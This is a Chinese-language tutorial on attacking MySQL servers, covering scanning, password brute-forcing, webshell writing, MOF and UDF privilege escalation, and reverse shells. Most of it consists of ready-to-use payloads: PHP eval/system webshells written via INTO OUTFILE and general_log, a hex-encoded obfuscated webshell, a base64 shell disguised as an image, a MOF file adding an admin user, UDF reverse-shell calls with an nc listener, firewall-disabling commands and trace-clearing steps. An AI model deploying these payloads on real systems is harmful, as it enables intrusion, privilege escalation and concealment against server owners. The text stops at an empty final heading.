天天看點

MySQL資料庫滲透及漏洞利用總結

MySQL 資料庫滲透及漏洞利用總結

Simeon

MySQL 資料庫是目前世界上使用最為廣泛的資料庫之一,很多著名公司和站點都使用 MySQL 作為其資料庫支撐,目前很多架構都以 MySQL 作為資料庫管理系統,例如 LAMP、和 WAMP 等。

在針對網站滲透中,很多都是跟 MySQL 資料庫有關,各種 MySQL 注入,MySQL 提權,MySQL 資料庫 root 賬号 webshell 擷取等的,但沒有一個對 MySQL 資料庫滲透較為全面對總結。

針對這種情況我們開展了研究,雖然我們團隊今年正在出版《網絡攻防實戰研究——漏洞利用與提權》,但技術的進步有無止境,思想有多遠,路就可以走多遠,在研究 MySQL 資料庫安全之餘,對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和擷取 webshell 等進行了詳細研究。

1.1-MySQL 資訊收集

1. 端口資訊收集

MySQL 預設端口是 3306 端口,但也有自定義端口,針對預設端口掃描主要利用掃描軟體進行探測,推薦使用:

(1)iisputter,直接填寫 3306 端口,IP 位址填寫單個或者 C 段位址。

(2)nmap 掃描 nmap -p 3306 192.168.1.1-254

特定目标的滲透,可能需要對全端口進行掃描,可以使用 Nmap 對某一個 IP 位址進行全端口掃描,端口掃描軟體還有 sfind 等 DOS 下掃描的工具。

2. 版本資訊收集

(1)msf 檢視版本資訊 auxiliary/scanner/mysql/mysql_version 子產品,以掃描主機 192.168.157.130 為例,指令為:

1

2

3

<code>use auxiliary/scanner/mysql/mysql_version</code>

<code>set</code> <code>rhosts 192.168.157.130</code>

<code>run</code>

(2)MySQL 查詢版本指令:SELECT @@version、SELECT  version();

(3)sqlmap 通過注入點掃描确認資訊:

<code> </code><code>sqlmap.py -u url </code><code>--dbms mysql</code>

(4)phpmyadmin 管理頁面登入後檢視 localhost-&gt;變量-&gt;伺服器變量和設定中的 version 參數值。

3. 資料庫管理資訊收集

MySQL 管理工具有多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MysqlFront 等用戶端工具。這些工具有的會直接儲存配置資訊,這些資訊包含資料庫伺服器位址和資料庫使用者名以及密碼,通過嗅探或者破解配置檔案可以擷取密碼等資訊。

4. msf資訊收集子產品

(1)MySQL 哈希值枚舉

4

<code>use auxiliary/scanner/mysql/mysql_hashdump</code>

<code>set</code> <code>username root</code>

<code>set</code> <code>password</code> <code>root</code>

(2)擷取相關資訊

<code>use auxiliary/admin/mysql/mysql_enum</code>

擷取資料庫版本,作業系統名稱,架構,資料庫目錄,資料庫使用者以及密碼哈希值。

(3)執行 MySQL 語句,連接配接成功後可以在 msf 執行 sql 語句,跟 sqlmap 的“--sql-shell”子產品類似。

<code>use auxiliary/admin/mysql/mysql_sql</code>

(4)将 mysql_schem 導出到本地 /root/.msf4/loot/ 檔案夾下

<code>use auxiliary/scanner/mysql/mysql_schemadump</code>

(5)檔案枚舉和目錄可寫資訊枚舉

<code>auxiliary/scanner/mysql/mysql_file_enum</code>

<code>auxiliary/scanner/mysql/mysql_writable_dirs</code>

沒有測試成功過,需要定義枚舉目錄和相關檔案,覺得基本沒有啥用。

1.2-MySQL 密碼擷取

1.2.1 暴力破解

MySQL 暴力破解主要有幾種:

1. 網頁線上連接配接破解

可以使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。

下載下傳:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

2. msf 通過指令行進行暴力破解

msf 破解 mysql 密碼子產品 auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。

對單一主機僅僅需要設定 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數根據實際情況進行設定。

(1)場景A:對内網擷取 root 某一個密碼後,擴充滲透

5

<code>use auxiliary/scanner/mysql/mysql_login</code>

<code>set</code> <code>RHOSTS 192.168.157.1-254</code>

執行後對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。

(2)場景B:使用密碼字典進行掃描

<code>set</code> <code>pass_file /tmp/</code><code>password</code><code>.txt</code>

3. 使用 nmap 掃描并破解密碼

(1)對某一個 IP 或者 IP 位址段進行 nmap 預設密碼暴力破解并掃描

<code>nmap </code><code>--script=mysql-brute 192.168.157.130</code>

<code>nmap </code><code>--script=mysql-brute 192.168.157.1-254</code>

(2)使用root賬号root密碼進行mysql密碼驗證并掃描擷取指定IP位址的端口資訊以及mysql資料庫相關資訊

<code>nmap -sV </code><code>--script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130</code>

(3)檢查root空密碼

<code>nmap </code><code>--script mysql-empty-password 192.168.195.130</code>

4. 使用 hscan 工具對 mysql 密碼進行掃描,需要設定掃描 IP 位址段以及資料庫密碼字典及使用者名字典。

1.2.2 源代碼洩露

1. 網站源代碼備份檔案

一些網站源代碼檔案中會包含資料庫連接配接檔案,通過檢視這些檔案可以擷取資料庫賬号和密碼。一般常見的資料庫連接配接檔案為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等字尾檔案進行掃描。

2. 配置備份檔案

使用 ultraedit 等編輯檔案編輯資料庫配置檔案後,會留下 bak 檔案。

1.2.3 檔案包含

本地檔案包含漏洞可以包含檔案,通過檢視檔案代碼擷取資料庫配置檔案,進而讀取資料庫使用者名和密碼。

1.2.4 其它情況

有些軟體會将 IP 位址、資料庫使用者名和密碼寫程序式中,運作程式後,通過 cain 軟體進行嗅探,可以擷取資料庫密碼。另外 Mysql 用戶端管理工具有的管理者會建立連接配接記錄,這些連接配接記錄儲存了使用者名、密碼和連接配接 IP 位址或者主機名,通過配置檔案或者嗅探可以擷取使用者名和密碼。

1.3-Mysql 擷取 webshell

1.3.1 phpmyadminroot 賬号擷取 webshell

MysqlRoot 賬号通過 phpMyAdmin 擷取 webshell 的思路,主要有下面幾種方式,以第一二六八種方法較佳,其它可以根據實際情況來進行。

1. 直接讀取後門檔案

通過程式報錯、phpinfo 函數、程式配置表等直接擷取網站真實路徑,有些網站前期已經被人滲透過,是以在目錄下留有後門檔案通過 load_file 直接讀取。

2. 直接導出一句話後門

前提需要知道網站的真實實體路徑,例如呼求偶真實路徑 D:\work\WWW,則可以通過執行以下查詢,來擷取一句話後門檔案 cmd.php,通路位址 http://www.somesite.com/cmd.php

<code>select</code> <code>'&lt;?php @eval($_POST[antian365]);?&gt;'</code><code>INTO</code> <code>OUTFILE </code><code>'D:/work/WWW/antian365.php'</code>

3. 建立資料庫導出一句話後門

在查詢視窗直接執行以下代碼即可,跟2.原理類似。

<code>CREATE</code> <code>TABLE</code> <code>`mysql`.`antian365` (`</code><code>temp</code><code>` TEXT NOTNULL );</code>

<code>INSERT</code> <code>INTO</code> <code>`mysql`.`antian365` (`</code><code>temp</code><code>` ) </code><code>VALUES</code><code>(</code><code>'&lt;?php @eval($_POST[antian365]);?&gt;'</code><code>);</code>

<code>SELECT</code> <code>`</code><code>temp</code><code>` </code><code>FROM</code> <code>`antian365` </code><code>INTO</code> <code>OUTFILE</code><code>'D:/www/antian365.php'</code><code>;</code>

<code>DROP</code> <code>TABLE</code> <code>IF EXISTS `antian365`;</code>

4. 可執行指令方式

建立執行指令形式的 shell,但前提是對方未關閉系統函數。該方法導出成功後可以直接執行DOS指令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=後面直接執行dos指令)。

<code>select</code> <code>'&lt;?php echo \'&lt;pre&gt;\';system($_GET[\'cmd\']); echo \'&lt;/pre&gt;\'; ?&gt;'</code> <code>INTO</code> <code>OUTFILE </code><code>'d:/www/antian365.php'</code>

另外在 linux 下可以導出直接執行指令的 shell:

<code>SELECT</code> <code>'&lt;? system($_GET[\'c\']); ?&gt;'</code> <code>INTO</code> <code>OUTFILE </code><code>'/var/www/shell.php'</code><code>;</code>

<code>http://localhost/shell.php?c=cat%20/etc/passwd</code>

5. 過防毒軟體方式

通過背景或者存在上傳圖檔的地方,上傳圖檔 publicguide.jpg,内容如下:

<code>&lt;?php$a=</code><code>' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4='</code><code>;error_reporting(0);@set_time_limit(0);eval(</code><code>"?&gt;"</code><code>.base64_decode($a));?&gt;</code>

然後通過圖檔包含temp.php,導出webshell。

<code>select</code> <code>'&lt;?php include '</code><code>publicguide.jpg</code><code>' ?&gt;'</code><code>INTO</code> <code>OUTFILE </code><code>'D:/work/WWW/antian365.php'</code>

一句話後門密碼:antian365

6. 直接導出加密 webshell

一句話後門檔案密碼:pp64mqa2x1rnw68,執行以下查詢直接導出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改D:/WEB/IPTEST/22.php。

<code>select</code> <code>unhex(</code><code>'203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'D:/WEB/IPTEST/22.php'</code>

注意:

也可以使用 http://tool.lu/hexstr/網站的代碼轉換來實作,将需要導出的檔案代碼複制到網站的字元串中,通過字元串轉成十六進制,将十六進制字元串放入unhex函數進行查詢即可:

<code>select</code> <code>unhex(</code><code>'十六進制字元串'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'D:/WEB/shell.php'</code>

7. CMS 系統擷取 webshell

有些情況下無法擷取網站的真實路徑,則意味着無法直接導出一句話 webshell,可以通過 CMS 系統管理賬号登入系統後,尋找漏洞來突破,例如 dedecms 則可以通過破解管理者賬号後直接上傳檔案來擷取 webshell。Discuz!的 UC_key 可以直接擷取 webshell。甚至某些系統可以直接上傳 php 檔案。下面是一些 CMS 系統滲透的技巧:

(1)dedecms 系統的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;

(2)phpcms v9 版本的密碼需要加 salt 進行破解,需要選擇破解算法 md5(md5($pass).$salt) 進行破解。

(3)Discuz!論壇帳号儲存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。

8. general_log_file 擷取 webshell

(1)檢視genera檔案配置情況

<code>show </code><code>global</code> <code>variables </code><code>like</code> <code>"%genera%"</code><code>;</code>

(2)關閉general_log

<code>set</code> <code>global</code> <code>general_log=</code><code>off</code><code>;</code>

(3)通過general_log選項來擷取webshell

<code>set</code> <code>global</code> <code>general_log=</code><code>'on'</code><code>;</code>

<code>SET</code> <code>global</code> <code>general_log_file=</code><code>'D:/phpStudy/WWW/cmd.php'</code><code>;</code>

在查詢中執行語句:

<code>SELECT</code> <code>'&lt;?php assert($_POST["cmd"]);?&gt;'</code><code>;</code>

Shell 為 cmd.php,一句話後門,密碼為cmd。

1.3.2 sqlmap 注入點擷取 webshell

sqlmap 注入點擷取 webshell 的前提是具備寫權限,一般是root賬号,通過執行指令來擷取:

<code>sqlmap -u url</code><code>--os-shell</code>

<code>  </code><code>echo </code><code>"&lt;?php @eval($_POST['c']);?&gt;"</code> <code>&gt;/data/www/1.php</code>

1.4-MySQL提權

1.4.1 mof提權

1. Webshell 上傳 mof 檔案提權

MySQL Root 權限 MOF 方法提權是來自國外 Kingcope 大牛釋出的 MySQL Scanner &amp; MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)

,簡稱 mysql 遠端提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 檔案:

方法1:運作 MOF 檔案指定為指令行參數 Mofcomp.exe 檔案。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 檔案夾的 MOF 檔案。

Microsoft 建議您到存儲庫編譯 MOF 檔案使用前兩種方法。也就是運作 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,并因為此功能可能不會提供在将來的版本後,不應使用。注意使用MOF方法提權的前提是目前Root帳号可以複制檔案到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!

該漏洞的利用前提條件是必須具備 MySQL 的 root 權限,在 Kingcope 公布的 0day 中公布了一個 pl 利用腳本。

<code>perl mysql_win_remote.pl 192.168.2.100 root </code><code>""</code> <code>192.168.2.150 5555</code>

192.168.2.100 為 MySQL 資料庫所在伺服器,MySQL 密碼為空,反彈到 192.168.2.150 的 5555 端口上。

2. 生成 nullevt.mof 檔案

将以下代碼儲存為nullevt.mof檔案:

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

<code>#pragma namespace(</code><code>"\\\\.\\root\\subscription"</code><code>) </code>

<code>instance </code><code>of</code> <code>__EventFilter </code><code>as</code> <code>$EventFilter</code>

<code>{ </code>

<code>EventNamespace = </code><code>"Root\\Cimv2"</code><code>; </code>

<code>Name</code>  <code>= </code><code>"filtP2"</code><code>; </code>

<code>    </code><code>Query = </code><code>"Select * From __InstanceModificationEvent "</code> 

<code>            </code><code>"Where TargetInstance Isa \"Win32_LocalTime\" "</code> 

<code>            </code><code>"And TargetInstance.Second = 5"</code><code>; </code>

<code>QueryLanguage = </code><code>"WQL"</code><code>; </code>

<code>}; </code>

<code>instance </code><code>of</code> <code>ActiveScriptEventConsumer </code><code>as</code> <code>$Consumer </code>

<code>    </code><code>Name</code> <code>= </code><code>"consPCSV2"</code><code>; </code>

<code>ScriptingEngine = </code><code>"JScript"</code><code>; </code>

<code>ScriptText = </code>

<code>    </code><code>"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add"</code><code>)"; </code>

<code>instance </code><code>of</code> <code>__FilterToConsumerBinding</code>

<code>    </code><code>Consumer   = $Consumer; </code>

<code>    </code><code>Filter = $EventFilter; </code>

<code>};</code>

3. 通過 MySQL 查詢将檔案導入

執行以下查詢語句,将上面生成的 nullevt.mof 導入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中預設是拒絕通路的。導入後系統會自動運作,執行指令。

<code>selectload_file(</code><code>'C:\\RECYCLER\\nullevt.mof'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'c:/windows/system32/wbem/mof/nullevt.mof'</code><code>;</code>

4. Msf直接mof提權

Msf 下的 exploit/windows/mysql/mysql_mof 子產品提供了直接 Mof 提權,不過該漏洞成功跟作業系統權限和Mysql資料庫版本有關,執行成功後會直接反彈 shell 到 meterpreter。

<code>use exploit/windows/mysql/mysql_mof</code>

<code>set</code> <code>rhost 192.168.157.1 //設定需要提權的遠端主機IP位址</code>

<code>set</code> <code>rport 3306 //設定mysql的遠端端口</code>

<code>set</code> <code>password</code> <code>root //設定mysql資料庫root密碼</code>

<code>set</code> <code>username root //設定mysql使用者名</code>

<code>options //檢視設定</code>

<code>run 0</code>

技巧:

要是能夠通過網頁連接配接管理(phpmyadmin),則可以修改host為“%”并重新整理權限後,則可以通過msf等工具遠端連接配接資料庫。預設root等賬号不允許遠端連接配接,除非管理者或者資料庫使用者自己設定。

方法1:本地登入mysql,更改 "mysql" 資料庫裡的 "user" 表裡的 "host" 項,将"localhost"改為"%"

<code> </code><code>use mysql;</code>

<code> </code><code>update</code> <code>user</code> <code>set</code> <code>host = </code><code>'%'</code> <code>where</code> <code>user</code> <code>= </code><code>'root'</code><code>;</code>

<code>FLUSH </code><code>PRIVILEGES</code> <code>;</code>

<code> </code><code>select</code> <code>host, </code><code>user</code> <code>from</code> <code>user</code><code>;</code>

方法2:直接授權(推薦)

從任何主機上使用root使用者,密碼:youpassword(你的root密碼)連接配接到mysql伺服器:

<code># mysql -u root -proot</code>

<code>GRANT</code> <code>ALL</code> <code>PRIVILEGES</code> <code>ON</code> <code>*.* </code><code>TO</code> <code>'root'</code><code>@</code><code>'%'</code> <code>IDENTIFIED </code><code>BY</code> <code>'youpassword'</code> <code>WITH</code> <code>GRANT</code> <code>OPTION</code><code>;</code>

<code>FLUSH </code><code>PRIVILEGES</code><code>;</code>

推薦重新增加一個使用者,在實際測試過程中發現很多伺服器使用root配置了多個位址,修改後可能會影響實際系統的運作。在實際測試過程中是以建議新增一個使用者,授權所有權限,而不是直接更改root配置。

1.6.2 udf提權

UDF 提權是利用 MYSQL 的自定義函數功能,将 MYSQL 賬号轉化為系統 system 權限,其利用條件是目标系統是 Windows(Win2000,XP,Win2003);擁有 MYSQL 的某個使用者賬号,此賬号必須有對 mysql的 insert 和 delete 權限以建立和抛棄函數,有 root 賬号密碼

Windows 下 UDF 提權對于 Windows2008 以下伺服器比較适用,也即針對 Windows2000、Windows2003 的成功率較高。

1. UDF提權條件

(1)Mysql版本大于5.1版本udf.dll檔案必須放置于MYSQL安裝目錄下的lib\plugin檔案夾下。

(2)Mysql版本小于5.1版本。udf.dll檔案在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql資料庫的賬号有對mysql的insert和delete權限以建立和抛棄函數,一般以root賬号為佳,具備root賬号所具備的權限的其它賬号也可以。

(4)可以将udf.dll寫入到相應目錄的權限。

2. 提權方法

(1)擷取資料庫版本、資料位置以及插件位置等資訊

<code>select</code> <code>version();//擷取資料庫版本</code>

<code>select</code> <code>user</code><code>();//擷取資料庫使用者</code>

<code>select</code> <code>@@basedir ;//擷取安裝目錄</code>

<code>show variables </code><code>like</code> <code>'%plugins%'</code><code>;  //尋找mysql安裝路徑</code>

(2)導出路徑

<code>C:\Winnt\udf.dll    Windows 2000</code>

<code>C:\Windows\udf.dll   Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)</code>

MYSQL 5.1以上版本,必須要把udf.dll檔案放到MYSQL安裝目錄下的libplugin檔案夾下才能建立自定義函數。該目錄預設是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下建立libplugin檔案夾,然後将udf.dll檔案導出到該目錄即可。

在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來建立檔案夾的方法:

<code>select</code> <code>@@basedir;  //查找到mysql的目錄</code>

<code>select</code> <code>'It is dll'</code> <code>into</code> <code>dumpfile </code><code>'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'</code><code>;   //利用NTFS ADS建立lib目錄</code>

<code>select</code> <code>'It is dll'</code> <code>into</code> <code>dumpfile </code><code>'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'</code><code>;//利用NTFS ADS建立plugin目錄</code>

執行成功以後就會 plugin 目錄,然後再進行導出 udf.dll 即可。

(3)建立cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢:

<code>create</code> <code>function</code> <code>cmdshell </code><code>returns</code> <code>string soname ‘lib_mysqludf_sys.dll’;</code>

(4)執行指令:

<code>select</code> <code>sys_eval(‘whoami’);</code>

一般情況下不會出現建立不成功哦。

連不上3389可以先停止windows防火牆和篩選

<code>select</code> <code>sys_eval(‘net stop policyagent’);</code>

<code>select</code> <code>sys_eval(‘net stop sharedaccess’);</code>

udf.dll下常見函數:

<code>cmdshell  執行cmd;</code>

<code>downloader  下載下傳者,到網上下載下傳指定檔案并儲存到指定目錄;</code>

<code>open3389    通用開3389終端服務,可指定端口(不改端口無需重新開機);</code>

<code>backshell   反彈Shell;</code>

<code>ProcessView 枚舉系統程序;</code>

<code>KillProcess 終止指定程序;</code>

<code>regread     讀系統資料庫;</code>

<code>regwrite    寫系統資料庫;</code>

<code>shut        關機,登出,重新開機;</code>

<code>about       說明與幫助函數;</code>

具體使用者示例:

<code>select</code> <code>cmdshell(</code><code>'net user iis_user 123!@#abcABC /add'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'net localgroup administrators iis_user /add'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'regedit /s d:web3389.reg'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'netstat -an'</code><code>);</code>

(5)清除痕迹

<code>drop</code> <code>function</code> <code>cmdshell;//将函數删除</code>

删除udf.dll檔案以及其它相關入侵檔案及日志。

(6)常見錯誤

<code>#1290 - The MySQL server </code><code>is</code> <code>running </code><code>with</code> <code>the </code><code>--secure-file-priv option so it cannot execute this statement</code>

<code>SHOW VARIABLES </code><code>LIKE</code> <code>"secure_file_priv"</code>

在my.ini 或者mysql.cnf 檔案中登出 (使用#号) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables選項去掉。

3. webshell 下 udf 提權

通過內建 udf 提權的 webshell 輸入資料庫使用者名及密碼以及資料庫伺服器位址或者IP通過連接配接後導出進行提權。

4. Mysql 提權綜合利用工具

v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

(1).自動導出你的backdoor和mof檔案

(2)自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

(3)導出LPK.dll檔案,劫持系統目錄提權

(4)寫啟動項提權

UdF自動提權:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>-m udf</code>

LPK劫持提權:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>-m lpk</code>

啟動項提權:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>–mst</code>

例如通過LOAD_FILE來檢視Mysql配置檔案my.ini,如果其中配置了skip-grant-tables

,這無法進行提權

1.6.3 無法擷取webshell提權

1. 連接配接 MySQL

(1)mysql.exe -h ip -uroot -p

(2)phpmyadmin

(3)Navicat for MySQL

2. 檢視資料庫版本和資料路徑

<code>SELECT</code> <code>VERSION( );</code>

<code>Select</code> <code>@@datadir;</code>

5.1以下版本,将dll導入到c:/windows或者c:/windows/system32/

5.1以上版本 通過以下查詢來擷取插件路徑:

<code>SHOW VARIABLES </code><code>WHERE</code> <code>Variable_Name </code><code>LIKE</code> <code>"%dir"</code><code>;</code>

<code>show variables </code><code>like</code> <code>'%plugin%'</code> <code>;</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/httpd.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/vhosts.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/extra/vhosts.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/extra/httpd.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'d:/phpStudy/Apache/conf/vhosts.conf'</code><code>)</code>

3. 修改mysql.txt

  Mysql.txt為udf.dll的二進制檔案轉成十六進制代碼。

(1)先執行導入ghost表中的内容

修改以下代碼的末尾代碼  select backshell("YourIP",4444);

(2)導出檔案到某個目錄

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/windows/mysqldll.dll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/windows/system32/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/phpStudy/MySQL/lib/plugin/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'</code> 

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'</code><code>; </code>

<code>C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/</code><code>user</code><code>.myd</code>

<code>select</code> <code>load_file(</code><code>'C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm'</code><code>);</code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'</code>

(3)檢視FUNCTION中是否存在cmdshell和backshell

存在則删除:

<code>drop</code> <code>FUNCTION</code> <code>cmdshell;//删除cmdshell</code>

<code>drop</code> <code>FUNCTION</code> <code>backshell;//删除backshell</code>

建立backshell:

<code>CREATE</code> <code>FUNCTION</code> <code>backshell </code><code>RETURNS</code> <code>STRING SONAME </code><code>'mysqldll.dll'</code><code>; //建立backshell</code>

在具備獨立主機的伺服器上執行監聽:

<code>nc -vv -l -p 44444</code>

執行查詢:

<code>select</code> <code>backshell(</code><code>"192.192.192.1"</code><code>,44444);//修改192.192.192.1為你的IP和端口</code>

4. 擷取 webshell 後添加使用者指令

注意如果不能直接執行,則需要到c:\windows\system32\下執行

<code>net </code><code>user</code> <code>antian365 Www.Antian365.Com /</code><code>add</code> 

<code>net localgroup administrators antian365</code>

1.6.4 sqlmap直連資料庫提權

Sqlmap 直接連接配接資料庫提權,需要有寫入權限和root賬号及密碼,指令如下:

(1)連接配接資料庫

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

(2)選擇作業系統的架構,32位作業系統選擇1,64位選擇2.

(3)自動上傳udf或提示os-shell

(4)執行whomai指令如果擷取系統權限,則表示提權成功。

4. msfudf提權

